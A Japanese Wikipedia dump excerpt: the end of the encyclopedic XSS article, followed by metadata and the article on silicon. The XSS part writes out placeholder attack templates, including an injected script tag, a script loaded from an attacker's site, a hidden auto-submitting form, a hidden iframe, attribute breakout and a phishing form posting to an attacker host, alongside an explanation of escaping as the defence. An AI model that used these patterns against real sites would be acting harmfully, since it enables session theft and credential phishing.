<?php echo "名前:".$_POST['gender']; ?>
</syntaxhighlight>
というスクリプトが書かれていた場合である。
このようなページにおいて、攻撃者が何らかの方法でgenderの値を
gender=<span style="color:red"><script>(悪意のあるスクリプト)</script></span>
にセット(=スクリプトのインジェクション。 詳細後述)し、この状態で被害者となるユーザがこのページにアクセスしてしまうとXSS攻撃は成功となる。
実際、標的サイトのウェブページには、変数genderの値をそのまま表示するページを動的に生成してしまうという脆弱性があるので、攻撃者が前述のようにgenderをセットした状態で被害者となるユーザがこのページを閲覧してしまうと、ウェブサイトは動的に生成したHTML
入力した性別は以下のもので正しいでしょうか:
<span style="color:red"><script>(悪意のあるスクリプト)</script></span>
を被害者のブラウザに送りつけてくるため、悪意のあるスクリプトが被害者のブラウザ上で自動的に実行されてしまう。
なお、ウェブサイトの作者がgenderの値としてフォームに準備した値が「man」と「woman」の2つだけだったとしても、実際にgenderにセットされた値が「man」か「woman」のいずれかであることを、ウェブサイトを置いているサーバ側でチェックしない限り、攻撃者はそれ以外の値(=悪意のあるスクリプト)にgenderをセット可能である。
===インジェクション方法の具体例===
次に攻撃者が悪意のあるスクリプトをインジェクションする方法を述べる。方法はウェブページにどのようなXSS脆弱性が存在するのかに依存するので、ここではフォームの入力値の2通りの送信方法(GETメソッド、POSTメソッド)に応じてインジェクション方法を2通り述べる。
なお、ここで説明する例はいずれも、後述するXSSの分類では「反射型」に属する。
==== GETメソッドのみに適用できる方法 ====
GETメソッドでは変数の値がURLに明記されるので、フォームの内容をユーザに再確認させるページのURLは
<nowiki>http://example.com/?gender=</nowiki>(フォームで入力した値)
のような形になっている。
そこで攻撃者は被害者となるユーザに以下のURLにアクセスするよう何らかの方法(たとえばexample.comを装った罠メールにこのURLを記載)で促す:
<nowiki>http://example.com/?gender=</nowiki><span style="color:red"><script>(悪意のあるスクリプト)</script></span>
するとgenderが悪意のあるスクリプトにセットされたページを被害者が閲覧することになるので、攻撃が成功したことになる。
ここで重要なのは、上記のURLが「<nowiki>http://example.com/</nowiki>」から始まる事である。これが原因でユーザはexample.comの何ら問題のないWebページだと誤解してしまい、上記のURLをクリックしてしまう可能性がある。
なお、ここでは悪意のあるスクリプトを標的サイトのURLに埋め込む方法を紹介したが、URLの長さには上限がある関係上、埋め込めるスクリプトの長さが制限されてしまうため、攻撃者が行える攻撃の種類が制限されてしまう。
長さに制限のないスクリプトを埋め込むには、攻撃者は自分のサイトを立ち上げ、そこに悪意のあるスクリプト「<nowiki>http://(攻撃者のサイト上の悪意のあるスクリプト)</nowiki>」をおいた上で、被害者に
<nowiki>http://example.com/?gender=</nowiki><span style="color:red"><script src="<nowiki>http://(攻撃者のサイト上の悪意のあるスクリプト名)</nowiki>"></script></span>
を閲覧させればよい。
ただしこちらの攻撃の場合、攻撃者のサイトのURLがウェブサーバのログに残るため、これを手がかりにサーバ管理者が攻撃者を特定できる可能性がある。したがって攻撃者は自身のサイトの場所を頻繁に変えるなど追跡の手を逃れる手段を講じる必要がある。
==== GETメソッド、POSTメソッド双方に適用できる方法 ====
上述したGETメソッドの例ではURLに変数の値がそのまま表示されている事が攻撃者にXSS攻撃を可能にしてしまった原因の一つである。しかしURLに変数の値が表示されないPOSTメソッドを使った場合でもXSS攻撃が可能である。以下、POSTメソッドを前提にして話をすすめるが、GETメソッドに対しても同様の方法でインジェクションが可能である。
標的サイトにXSS攻撃を仕掛けるため、攻撃者は自身でウェブサイト('''罠サイト''')を立ち上げ、そこに以下のようなHTMLを書く:
<form action="<span style="color:blue">http:</span><span style="color:blue">//example.com/</span>" method="POST" name ="<span style="color:green">hoge</span>">
<input <span style="color:red">type="hidden" name="gender" value='<script>(悪意のあるスクリプト)</script>'</span>>
</form>
<script>document.<span style="color:green">hoge</span>.submit()</script>
被害者が罠サイトを表示してしまうと、フォームhogeのinput文においてgenderが(悪意のあるスクリプト)にセットされた状態で標的サイト「<nowiki>http://example.com/</nowiki>」が表示されてしまうので、被害者のブラウザで悪意のあるスクリプトが実行されてしまう。
しかもこのinput文はhidden指定なのでgenderの値は被害者のブラウザ上に表示されず、被害者はこの事実に気づかない。
=== 隠蔽工作 ===
上で説明した「GETメソッドのみに適用できる例」ではユーザがアクセスした攻撃用サイトには「入力した性別は以下のもので正しいでしょうか」といった文章が表示されてしまうため、攻撃を受けたことにユーザが気づいてしまう可能性があるが、攻撃者が悪意のあるスクリプト部分の冒頭に<syntaxhighlight lang="javascript">
document.body.innerHTML=""
</syntaxhighlight>という[[JavaScript]]を記載しておけば、HTML本文が完全消去されるため、上述のような不自然な文章は表示されない。
これに続けて(JavaScriptのdocument.writeメソッドを使って)攻撃に必要な内容をスクリプト部分に自由に記述可能となる。
別の隠蔽工作方法として、罠サイトでHTMLのiframeタグと[[Cascading Style Sheets|CSS]]を用いるというものがあり、この方法には攻撃者にとって上で述べた隠蔽工作とは違った利点がある(詳細後述)。なおiframeとはウェブページを入れ子にするためのHTMLタグで、ウェブページA上にウェブページBのURLを指定したiframeタグを書くと、A上に四角いフレームができ、その中にBの内容が表示される。これを利用して攻撃者は以下のように隠蔽工作を図る。
まず攻撃者は罠サイトのページAにiframeタグを書くことで、悪意のあるスクリプトを埋め込んだ標的サイトのURLを読み込む。具体的には、ページAに
<iframe<nowiki> src=http://example.com/?gender=</nowiki><span style="color:red"><script>(悪意のあるスクリプト)</script></span>></iframe>
と記載する{{Sfn|金床|2007|p=第三章「攻撃の概要」節}}{{Sfn|徳丸|2011|p=91}}。
さらにCSSを書くことでiframeの内容が表示されたフレームがAの閲覧者には見えないようにする{{Sfn|徳丸|2011|p=91}}。この状態で被害者を誘導してページAを開かせると、iframeにより自動的に悪意のあるスクリプトを埋め込んだ標的サイトが読み込まれるので、攻撃が成功する。
この隠蔽工作の利点は、攻撃に用いたiframeはCSSで隠しているので、'''標的サイトと全く無関係に見える罠サイトを被害者が開いただけで攻撃が完了'''し、しかも'''罠サイトのURLにも不自然なところはない'''ので、被害者にとって罠サイトと通常サイトを見分ける手段が無いことである。
「GETメソッド、POSTメソッド双方に適用できる方法」に対しても同様にiframeとCSSで隠蔽工作が可能である。こちらの場合、攻撃用のフォームを書いたページBを罠サイトに作成し、BをiframeでページAに読み込んだ上でCSSによりiframeを隠せばよい。
被害者がページAを閲覧すると、iframe内は悪意のあるスクリプトを埋め込んだ標的サイトに遷移するという不自然な動きをするが、CSSでiframeを隠しているので被害者はこのことに気づかない。
=== インジェクションする言語 ===
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」の例として、CWE-79では以下のものを挙げている:
* JavaScript{{Sfn|CWE-79|2011}}
* HTML タグ{{Sfn|CWE-79|2011}}
* HTML アトリビュート{{Sfn|CWE-79|2011}}
* マウスイベント{{Sfn|CWE-79|2011}}
* Flash{{Sfn|CWE-79|2011}}
* ActiveX{{Sfn|CWE-79|2011}}
===インジェクション箇所===
HTML内には攻撃者が悪意のあるスクリプトをインジェクションし得る箇所として以下のものがある:
# フォームなど変数の値を入力可能な場所(前述)
# スクリプト文
#* <script></script>の内部{{Sfn|IPA|2014}}、および<script></script>のURLのリモート参照{{Sfn|IPA|2014}}
#* タグのstyle属性およびイベントハンドラ属性中のスクリプト記述{{Sfn|IPA|2014}}。具体的には<div style="...;z:expression(...);...">や、<span onmouseover="...">等{{Sfn|IPA|2014}}。
# URLを属性値として取れる要素{{Sfn|徳丸|2011|p=106}}、およびそこでのスクリプト直接記述{{Sfn|IPA|2014}}。
#* 具体的にはa要素のhrefとimg{{Sfn|徳丸|2011|p=106}}、frameとiframeのsrc属性{{Sfn|徳丸|2011|p=106}}。
2.の場合、URLとして「javascript:(JavaScript文)」の形式(javascriptスキーム)を利用してJavaScriptを注入することができる{{Sfn|徳丸|2011|p=106}}。
== XSSの被害 ==
{{節スタブ|date=2016年10月}}
攻撃者はXSSを用いることで、例えば以下の様な被害を発生させられる:
* 標的サイトの変数値や[[HTTP cookie|cookie]]などからの情報漏洩{{Sfn|CWE-79|2011}}{{Sfn|金床|2007|page=3章冒頭部}}
* [[セッションハイジャック]]{{Sfn|金床|2007|page=3章冒頭部}}
* 機能の不正実行{{Sfn|金床|2007|page=3章冒頭部}}
* ウェブサイトの改竄(ただし攻撃者が準備したURLからアクセスした場合のみ){{Sfn|金床|2007|page=3章冒頭部}}
* 悪意のあるスクリプトによりWebページを改ざんする事でパスワードやクレジットカード番号を入力するフォームをWebページに追加し、ユーザからこれらの情報を盗む([[フィッシング (詐欺)|フィッシング 詐欺]]){{Sfn|CWE-79|2011}}
* 悪意のあるスクリプトを使ってブラウザの脆弱性を突き、ユーザ端末を乗っ取る{{Sfn|CWE-79|2011}}
* ワームの実行{{Sfn|金床|2007|page=3章冒頭部}}
=== 個人情報の奪取 ===
攻撃者は標的サイトexample.comで任意のスクリプトを実行可能なので例えばスクリプトに以下の様なhtmlの[[フォーム (ウェブ)|フォーム]]を生成させる事でユーザが入力したID/パスワードを攻撃者のサイトに転送させる事ができる:
ログインしてください:<br />
<form name=login action="<span style="color:red">(攻撃者のサイト名)</span>" method="post">
ID <input type="text" name="id"> <br />
パスワード <input type="text" name="pass"> <br />
</form>
==攻撃手法の分類==
CWE-79ではXSSの攻撃手法を以下の3種類に分類している{{Sfn|CWE-79|2011}}:
* タイプ 1:反射型クロスサイトスクリプティング (非持続的)
* タイプ 2: 格納型クロスサイトスクリプティング (持続的)
* タイプ 0: DOMベースのクロスサイトスクリプティング
=== 反射型XSS ===
'''反射型XSS'''では、攻撃者は不正なデータDをWebページPのURLなどに仕込んでおり、Dが原因でWebアプリケーションが作るPのhtml本文などに悪意のあるスクリプトが含まれる。被害者がWebページPのURLをクリックすると、Pの内容とともに悪意のあるスクリプトが被害者のブラウザに送信され、ブラウザ上で悪意のあるスクリプトが実行される事で被害が生じる。したがって攻撃者が反射型XSSの脆弱性を利用するには、被害者をPに誘導する方法を別途考える必要がある。
反射型XSSにおいて攻撃者が被害者をWebページPに誘導する方法は主に2つある{{Sfn|IPA|2015|p=22-29}}。第一の方法は、標的サイトとは別のWebサイト([[電子掲示板|公開掲示板]]や攻撃者自身のWebサイトなど)にPのURLを張り、被害者がPへのリンクをクリックするのを待つ方法である。第二の方法は標的サイトを装って被害者にメールし、そのメール本文にPのURLを記載することで、被害者がPを閲覧するのを期待する方法である。
=== 格納型XSS ===
一方、'''格納型XSS'''では、攻撃者は不正なデータDを標的サイトのデータベース、メッセージフォーラム、訪問者のログといったデータストアに保存する{{Sfn|CWE-79|2011}}。たとえば電子掲示板に格納型XSSの脆弱性がある場合、攻撃者は不正なデータDを含んだ書き込みを掲示板に対して行う。すると掲示板システムはDを自身のデータストアに保存し、正規の利用者が掲示板を訪れるたびにDを含んだ書き込みを表示するため、この書き込みを表示した利用者全員がXSSの被害者になりうる。格納型XSSは正規サイトのデータストアそのものに不正なデータを仕込むので、反射型XSSと違い被害者に不正なURLをクリックさせる必要がない事が攻撃者にとっての利点の一つである。
=== DOMベースXSS ===
反射型および格納型のXSSではWebアプリケーション側が悪意のあるスクリプトを含んだWebページPを作り出す事が原因で、Pを閲覧した被害者が被害を受ける{{Sfn|IPA|2013|p=5-8}}。それに対し'''DOMベースXSS'''は、ブラウザなどのユーザ・クライアントが悪意のあるスクリプトを含んだWebページを生成するタイプのXSSの総称である。DOMベースXSSは、スクリプトを使った以下のような動的html生成([[Document Object Model|DOM]]操作{{Sfn|IPA|2013|p=5-8}})を利用する。一般にユーザがWebサイトにアクセスすると、Webアプリケーションはユーザ・クライアントに対し、(悪意のない正規の)スクリプトSを含んだhtmlを送り返すことがある。ユーザ・クライアントはこのhtmlを受け取ると、htmlに含まれるスクリプトSを実行することで、htmlを書き換え、画面に出力する最終的なhtmlを得る。
DOMベースXSSではこの仕組みを悪用し、ユーザ・クライアント側で実行されるスクリプトSに不正なデータDを注入することで、XSS攻撃を実行する。Dを注入する箇所としては反射型XSSと同様、URLなどを利用する{{Sfn|IPA|2013|p=10}}。
他の2つのXSSとは異なり、'''Webアプリケーション側ではDOMベースXSS攻撃が行われていることを感知できない'''<ref>{{Cite web|url=https://www.ipa.go.jp/files/000024729.pdf|title=あまり知られていない脆弱性:DOM Based XSSにご用心|accessdate=2016年9月12日|date=2007年2月16日|publisher=アークウェブ}}</ref>。したがって例えばWebアプリケーション側に[[Web Application Firewall|WAF]]を導入するなどの対策を施してもこの攻撃を検知したり防いだりする事はできない。
というのもDOMの仕組みでは、スクリプトSに注入される不正なデータDは、Webアプリケーションではなくユーザ・クライアント側で取得し、ユーザ・クライアント側でDが注入されたスクリプトSを実行するので、Webアプリケーション側には不正なデータDが一切伝わらないからである。
== 対策 ==
{{節スタブ|date=2016年10月}}
すでに述べたように、XSSへの対策としてはユーザからフォームの値を取得した際、htmlで特別な意味を持つ記号を以下のように別の記号に置き換える('''エスケープ処理'''をする)という方法がある:
* 「<」 → &lt;
* 「>」 → &gt;
* 「"」 → &quot;
* …
このようにすると攻撃者が攻撃用スクリプトを埋め込むのに利用したhtmlのタグ「<script>」は「&lt;script&gt;」という無害な文字列に置き換わってしまうので上述したXSS攻撃を回避できる。
なおエスケープ処理は例えば[[PHP (プログラミング言語)|PHP]]のhtmlspecialchars関数を利用する事で実現可能である。
しかしこのような対策には限界があり、[[#インジェクション箇所]]で述べた、スクリプトが直接記述可能な箇所やURLを記述可能な箇所に対しては、この対策は効かない{{Sfn|IPA|2014}}。
エスケープが必要な記号として、「<」、「>」、「"」などがある。「<」と「>」をエスケープする必要がある理由の一つはすでに具体例で挙げたように「<script>」を無効にするためである。「"」をエスケープする理由は以下で述べる。
=== 引用符で囲んだ属性値に対するXSS ===
HTML中で属性値を引用符でくくっていても適切な対策(属性値中で引用符「"」をエスケープ)をしない限り、XSS対策にならない。たとえば
<input type="text" name="gender" <span style="color:blue">value="inputval"</span>> <br />
のように青色で示した入力値inputvalが引用符でくくられていたとしていても
攻撃者が
<nowiki>http://example.com/?</nowiki><span style="color:blue">name=</span><span style="color:red">"+onmouseover%3d"(悪意のあるスクリプト)</span>
というURLを被害者にクリックさせると、被害者のブラウザでは(HTML中では%3dが「=」に変換されるので)
<input type="text" name="gender" <span style="color:blue">value="</span><span style="color:red">"onmouseover="(悪意のあるスクリプト)</span><span style="color:blue">"</span>> <br />
となってしまうので、onmouseoverイベントハンドラによりマウス移動時に悪意のあるスクリプトが実行されてしまう{{Sfn|徳丸|2011|p=100-101}}。
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 参考文献 ==
* {{Cite web|url=http://jvndb.jvn.jp/ja/cwe/CWE-79.html|title=CWE-79 クロスサイトスクリプティング|accessdate=2016年9月12日|date=2011年04月21日|publisher=[http://jvn.jp/ JVN iPedia]|ref={{SfnRef|CWE-79|2011}}}}
* [[情報処理推進機構]] 技術本部 セキュリティーセンター(IPA ISEC)のサイト内:
** {{Cite web|url=https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/601.html|title=『セキュア・プログラミング講座』第7章 エコーバック対策 スクリプト注入|accessdate=2016年10月17日|date=2014年8月19日|publisher=独立行政法人 [[情報処理推進機構]] 技術本部 セキュリティーセンター|ref={{SfnRef|IPA|2014}}}}
** {{Cite web|url=https://www.ipa.go.jp/files/000024729.pdf
|title=IPAテクニカルウォッチ「DOM Based XSS」に関するレポート~JavaScriptでHTMLを操作するアプリは要注意!~
|accessdate=2016年9月12日
|date=2013年1月29日
|publisher=IPA
|author=編集責任:小林偉昭、執筆者:谷口隼祐、永安佑希允、協力者:徳丸浩
|ref={{SfnRef|IPA|2013}}}}
** {{Cite web|url=https://www.ipa.go.jp/files/000017316.pdf|title=安全なウェブサイトの作り方 改訂第7版 ウェブアプリケーションのセキュリティ実装とウェブサイトの安全性向上のための取り組み|accessdate=2016年9月12日|date=2015年03月|format=PDF|publisher=独立行政法人 [[情報処理推進機構]] セキュリティーセンター|ref={{SfnRef|IPA|2011}}}}
* {{仮リンク|OWASP|en|OWASP}}のサイト内:
** {{Cite web|url=https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|title=XSS (Cross Site Scripting) Prevention Cheat Sheet|accessdate=2016年10月17日|date=2016年03月27日|publisher=[https://www.owasp.org/index.php/Main_Page OWASP]|ref={{SfnRef|OWASP-Cheat|2016}}}}
** {{Cite web|url=https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet|title=XSS Filter Evasion Cheat Sheet|accessdate=2016年10月17日|date=2016年10月4日|publisher=[https://www.owasp.org/index.php/Main_Page OWASP]|ref={{SfnRef|OWASP-Filter-Cheat|2016}}}}
* その他
** {{Cite book|和書|ref={{SfnRef|金床|2007}}|author=金床|title=ウェブアプリケーションセキュリティ|date=2007年7月21日|year=2007|publisher=[[データハウス]]|isbn=978-4887189409}}
** {{Cite book|和書|ref={{SfnRef|徳丸|2011}}|author=徳丸浩|title=体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践|date=2011/3/1|publisher=SBクリエイティブ|isbn=978-4797361193}}
** [http://www.slideshare.net/ockeghem/xssreintroduction 徳丸浩 - XSS再入門]
** [https://atmarkit.itmedia.co.jp/ait/kw/cross_site_scripting_taisakukihon.html @IT - クロスサイトスクリプティング対策の基本]
** [https://circleci.com/ja/blog/xss-attacks/ XSSの対策方法 - CircleCI]
{{エクスプロイト}}
{{ハッキング}}
{{DEFAULTSORT:くろすさいとすくりふていんく}}
[[Category:セキュリティ技術]]
[[Category:コンピュータ・ネットワーク・セキュリティ]]
[[Category:エクスプロイト]] | 2003-04-15T09:17:11Z | 2023-10-17T10:58:23Z | false | false | false | [
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6,759 | ケイ素 | ケイ素(けいそ、珪素、硅素、英: silicon、羅: silicium)は、原子番号14の元素である。元素記号はSi。原子量は28.1。「シリコン」とも呼ばれる。
1787年に、アントワーヌ・ラヴォアジエが「silicon」と名付けた。ラテン語の「silex」「silicis」(燧石)にちなむ。のちに、宇田川榕庵が「舎密開宗」で「珪土」をケイ素(シリコン)の訳語とした。オランダ語のシリコンは「keiaarde」であり、「keisteen-aarde」(火打石の土)の短縮形であるため、玉偏の同音字「珪」(けい、「圭」の異体字)で音写した。のちに「硅」も出現したが、「珪素」が基準となった。中国名の「硅」はこの日本の音写由来であると考えられるが、発音はguī(グイ)と日本とは異なり、また台湾においては旧来の「矽」(xī、シー)が21世紀初頭現在においても用いられている。
常温・常圧で安定な結晶構造はダイヤモンド構造。比重2.33、融点1410 °C(1420 °C)、沸点 2600 °C(ほかに2355 °C、3280 °Cという実験値あり)。ダイヤモンド構造のケイ素は、1.12 eVのバンドギャップ(実験値)をもつ半導体である。これは非金属であるが、圧力(静水圧)を加えると、βスズ構造に構造相転移する。このβスズ構造のケイ素は金属である。更にケイ素には、シリセンという、ケイ素原子が環状に6個結びついた同素体がある。周期表において、すぐ上の元素は炭素だが、その常温常圧での安定相であるグラファイト構造は、ケイ素においては安定な構造として存在できない。
ケイ素は、地球の主要な構成元素のひとつである。地球地殻の質量の74.32 %は酸素(46.60 %)とケイ素(27.72 %)で占められており、石英の成分であるSiO2が地殻の大部分を構成している。地殻の造岩鉱物の92 %はSiO4の四面体を結晶構造の基本単位とする珪酸塩鉱物である。
1787年に、アントワーヌ・ラヴォワジエが初めて元素として記載した。しかしラヴォワジエは、燧石そのものを元素だと思っていた。
1800年に、ハンフリー・デービーの研究によって燧石は化合物だったことが判明した。
1811年に、ジョセフ・ルイ・ゲイ=リュサックとルイ・テナールが、のちのベルセリウスと同様の方法でアモルファスシリコンの分離に成功したと考えられている。
1823年に、イェンス・ベルセリウスが四フッ化ケイ素とカリウムを加熱して単離に成功した。
バンドギャップが常温付近で利用するために適当な大きさであること、ホウ素やリンなどの不純物を微量添加させることにより、p型半導体、n型半導体のいずれにもなることなどから、電子工学上重要な元素である。半導体部品として利用するためには高純度である必要があり、このため精製技術が盛んに研究されてきた。現在、ケイ素は99.9999999999999 %(15N)まで純度を高められる。また、Si(111) 基板はAFMやSTMの標準試料としてよく用いられる。
ケイ素は赤外域(波長2–6 μm)で高い透過率があり、レンズや窓の素材に用いられる。波長4 μmの屈折率は3.4255。
四塩化ケイ素やトリクロロシランから作られる高純度ケイ素の塊(シリコンウェハー)は、半導体素子に用いられる。また、液晶ディスプレイのTFTやソーラーパネルには、アモルファスシリコンや多結晶シリコンなどが用いられる。ヒ化ガリウムや窒化ガリウムなどの化合物半導体の基板にシリコンを用いれば、大幅な低価格化が可能であり、さまざまな研究や実用化が進められている。
電気炉における製鉄材料として鉄1トンあたり4 kg前後のケイ素が添加されるほか、ケイ素合金として製鉄の脱酸素剤に用いられる。そのほかに、ケイ素を混ぜた鋼板(ケイ素鋼板)は、うず電流による損失が少なくなるため、変圧器に使われている。アルミニウム工業の分野でもケイ素の合金が使われている。また、鉛レス黄銅にも添加される。
ケイ素の酸化物(シリカ)を原料とするガラスは、窓などで使われるほか、繊維状にしたグラスウールは断熱材や吸音材としても用途がある。ゼオライトは、イオン交換体、吸着剤あるいは、有機化学工業における触媒ともなっている。シリカゲルは、非常に利用しやすい乾燥剤になる。
炭化ケイ素は、耐火材や抵抗体として使われたり、高いモース硬度(9.5)を持つために研磨剤として使われたりする。そのほかのケイ素化合物として、アルミノケイ酸塩が粘土に含まれ、陶器やセメント・煉瓦などセラミックスと呼ばれる材料の主成分になっているほか、カルシウム化合物を除去する働きから、水の精製に使われるなどしている。
ケイ素の単結晶は半導体材料として工業上重要であるため、もっとも高純度・低欠陥な結晶が実現されている材料のひとつである。このことから、Siのほぼ無欠陥な単結晶により真球を作成し、この真球からアボガドロ定数の正確な値と、1 キログラムを構成するのに必要な原子の個数を決定する試みが行われた。2019年5月20日よりアボガドロ定数は6.02214076×10 molという定義値として施行されることになった。
ケイ素は鉄と違って軽いうえ磁性を帯びず、ダイヤモンドに次ぐ硬度を持つため、機械式時計の部品(ゼンマイ、ガンギ車など)の素材としても用いられるようになっている。最初に実用化に成功したのはスイス・ユリス・ナルダンの『フリーク』(2001年)で、以降スイスの高級時計メーカーで採用が進められている。日本では、2021年にセイコーエプソンがプリンターヘッドの製造技術を応用し、「オリエントスター」ブランドで初めて発売に踏み切った。
ただし、製造にはLIGAやMEMSなど高度な成型技術が必要なうえ、壊れやすいため歩止まりが低いなど、実用化されてから日が浅いため欠点や不明な点が多く、採用しないメーカーも多い。
前述のように、ケイ酸塩はさまざまな形で地殻上に存在しており、天然に存在するケイ素化合物のほとんどが、二酸化ケイ素およびケイ酸塩である。工業的にも広く用いられ、ガラス、陶磁器、肥料など、枚挙に暇がない。
アスベストは、繊維状のケイ酸塩鉱物であり、耐薬品性や耐火性から以前は建材などに広く用いられたが、中皮腫が問題になったため、使用量は激減している。日本でもアスベストによる健康被害が社会問題となり、労災認定や健康被害を受けた人に対しての補償問題、また、依然として既存建築物に多く残るアスベストの撤去問題を抱える。
有機基を有するケイ素二次元および三次元酸化物は、シリコーンと呼ばれる。このものは、優れた耐熱性、耐薬品性、低い毒性などの有用な性質を示し、油状のものはワックス、熱媒体、消泡剤などに用いられる。三次元シリコーンはゴム弾性を示し、ゴム状のものはホースやチューブ、樹脂状のものは塗料や絶縁材、接着剤など各種の用途に利用される。
工業用ケイ素の主原料は、SiO2からなる二酸化ケイ素(珪石、珪砂、シリカとも)である。日本国内の埋蔵量は2億トンあるとされるが、アルミニウムと同様、酸化物から還元するには大量の電力を必要とするため、金属シリコンの状態になってから輸入するのが一般的である。
世界の二酸化ケイ素の埋蔵量はきわめて潤沢であり、高純度のものも世界に広く分布する。二酸化ケイ素#埋蔵量を参照。
生物として知られているのは、放散虫・珪藻・シダ植物・イネ科植物などにおいて二酸化ケイ素のかたちでの骨格への利用に留まる。栄養素としての必要性は詳しく分かっていない。炭素とケイ素との化学的な類似から、SF などではケイ素を主要な構成物質とするケイ素生物が想定されることがある。
効果の立証が不十分な文献が多く、実際どのような効果があるのかは分かっていない。
しかし、必須元素では無いため、効果は極めて小さいと考えられている。
安全性に関するデータが十分ではなく、日本や米国でも摂取基準などは定められていない。
ヒトの推定摂取量を次に示す。
以下はイギリスでの食品中のケイ素の量を計測したデータ。ケイ素を比較的多く含む食品を抜粋した。 | [
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"text": "バンドギャップが常温付近で利用するために適当な大きさであること、ホウ素やリンなどの不純物を微量添加させることにより、p型半導体、n型半導体のいずれにもなることなどから、電子工学上重要な元素である。半導体部品として利用するためには高純度である必要があり、このため精製技術が盛んに研究されてきた。現在、ケイ素は99.9999999999999 %(15N)まで純度を高められる。また、Si(111) 基板はAFMやSTMの標準試料としてよく用いられる。",
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"text": "ケイ素は赤外域(波長2–6 μm)で高い透過率があり、レンズや窓の素材に用いられる。波長4 μmの屈折率は3.4255。",
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"text": "四塩化ケイ素やトリクロロシランから作られる高純度ケイ素の塊(シリコンウェハー)は、半導体素子に用いられる。また、液晶ディスプレイのTFTやソーラーパネルには、アモルファスシリコンや多結晶シリコンなどが用いられる。ヒ化ガリウムや窒化ガリウムなどの化合物半導体の基板にシリコンを用いれば、大幅な低価格化が可能であり、さまざまな研究や実用化が進められている。",
"title": "用途"
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"text": "電気炉における製鉄材料として鉄1トンあたり4 kg前後のケイ素が添加されるほか、ケイ素合金として製鉄の脱酸素剤に用いられる。そのほかに、ケイ素を混ぜた鋼板(ケイ素鋼板)は、うず電流による損失が少なくなるため、変圧器に使われている。アルミニウム工業の分野でもケイ素の合金が使われている。また、鉛レス黄銅にも添加される。",
"title": "用途"
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"text": "ケイ素の酸化物(シリカ)を原料とするガラスは、窓などで使われるほか、繊維状にしたグラスウールは断熱材や吸音材としても用途がある。ゼオライトは、イオン交換体、吸着剤あるいは、有機化学工業における触媒ともなっている。シリカゲルは、非常に利用しやすい乾燥剤になる。",
"title": "用途"
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"text": "炭化ケイ素は、耐火材や抵抗体として使われたり、高いモース硬度(9.5)を持つために研磨剤として使われたりする。そのほかのケイ素化合物として、アルミノケイ酸塩が粘土に含まれ、陶器やセメント・煉瓦などセラミックスと呼ばれる材料の主成分になっているほか、カルシウム化合物を除去する働きから、水の精製に使われるなどしている。",
"title": "用途"
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"text": "ケイ素の単結晶は半導体材料として工業上重要であるため、もっとも高純度・低欠陥な結晶が実現されている材料のひとつである。このことから、Siのほぼ無欠陥な単結晶により真球を作成し、この真球からアボガドロ定数の正確な値と、1 キログラムを構成するのに必要な原子の個数を決定する試みが行われた。2019年5月20日よりアボガドロ定数は6.02214076×10 molという定義値として施行されることになった。",
"title": "用途"
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"text": "ケイ素は鉄と違って軽いうえ磁性を帯びず、ダイヤモンドに次ぐ硬度を持つため、機械式時計の部品(ゼンマイ、ガンギ車など)の素材としても用いられるようになっている。最初に実用化に成功したのはスイス・ユリス・ナルダンの『フリーク』(2001年)で、以降スイスの高級時計メーカーで採用が進められている。日本では、2021年にセイコーエプソンがプリンターヘッドの製造技術を応用し、「オリエントスター」ブランドで初めて発売に踏み切った。",
"title": "用途"
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"text": "ただし、製造にはLIGAやMEMSなど高度な成型技術が必要なうえ、壊れやすいため歩止まりが低いなど、実用化されてから日が浅いため欠点や不明な点が多く、採用しないメーカーも多い。",
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"text": "前述のように、ケイ酸塩はさまざまな形で地殻上に存在しており、天然に存在するケイ素化合物のほとんどが、二酸化ケイ素およびケイ酸塩である。工業的にも広く用いられ、ガラス、陶磁器、肥料など、枚挙に暇がない。",
"title": "ケイ酸塩・ケイ素樹脂"
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"text": "アスベストは、繊維状のケイ酸塩鉱物であり、耐薬品性や耐火性から以前は建材などに広く用いられたが、中皮腫が問題になったため、使用量は激減している。日本でもアスベストによる健康被害が社会問題となり、労災認定や健康被害を受けた人に対しての補償問題、また、依然として既存建築物に多く残るアスベストの撤去問題を抱える。",
"title": "ケイ酸塩・ケイ素樹脂"
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"text": "有機基を有するケイ素二次元および三次元酸化物は、シリコーンと呼ばれる。このものは、優れた耐熱性、耐薬品性、低い毒性などの有用な性質を示し、油状のものはワックス、熱媒体、消泡剤などに用いられる。三次元シリコーンはゴム弾性を示し、ゴム状のものはホースやチューブ、樹脂状のものは塗料や絶縁材、接着剤など各種の用途に利用される。",
"title": "ケイ酸塩・ケイ素樹脂"
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"text": "工業用ケイ素の主原料は、SiO2からなる二酸化ケイ素(珪石、珪砂、シリカとも)である。日本国内の埋蔵量は2億トンあるとされるが、アルミニウムと同様、酸化物から還元するには大量の電力を必要とするため、金属シリコンの状態になってから輸入するのが一般的である。",
"title": "製法"
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"text": "世界の二酸化ケイ素の埋蔵量はきわめて潤沢であり、高純度のものも世界に広く分布する。二酸化ケイ素#埋蔵量を参照。",
"title": "製法"
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"text": "生物として知られているのは、放散虫・珪藻・シダ植物・イネ科植物などにおいて二酸化ケイ素のかたちでの骨格への利用に留まる。栄養素としての必要性は詳しく分かっていない。炭素とケイ素との化学的な類似から、SF などではケイ素を主要な構成物質とするケイ素生物が想定されることがある。",
"title": "生物"
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"text": "効果の立証が不十分な文献が多く、実際どのような効果があるのかは分かっていない。",
"title": "摂取"
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"text": "しかし、必須元素では無いため、効果は極めて小さいと考えられている。",
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"text": "安全性に関するデータが十分ではなく、日本や米国でも摂取基準などは定められていない。",
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"text": "ヒトの推定摂取量を次に示す。",
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"text": "以下はイギリスでの食品中のケイ素の量を計測したデータ。ケイ素を比較的多く含む食品を抜粋した。",
"title": "摂取"
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]
| ケイ素は、原子番号14の元素である。元素記号はSi。原子量は28.1。「シリコン」とも呼ばれる。 | {{Otheruses|元素のケイ素(シリコン)|シリコンからなる人工の化合物|シリコーン|二酸化ケイ素からなる物質|シリカ|日本のライトノベル作家・珪素|珪素 (作家)}}
{{Elementbox
|name=silicon
|japanese name=ケイ素
|number=14
|symbol=Si
|pronounce={{IPAc-en|ˈ|ɨ|k|ən}} {{respell|SIL|ə-kən}} or {{IPAc-en|ˈ|s|ɪ|l|ɨ|k|ɒ|n}} {{respell|SIL|ə-kon}}
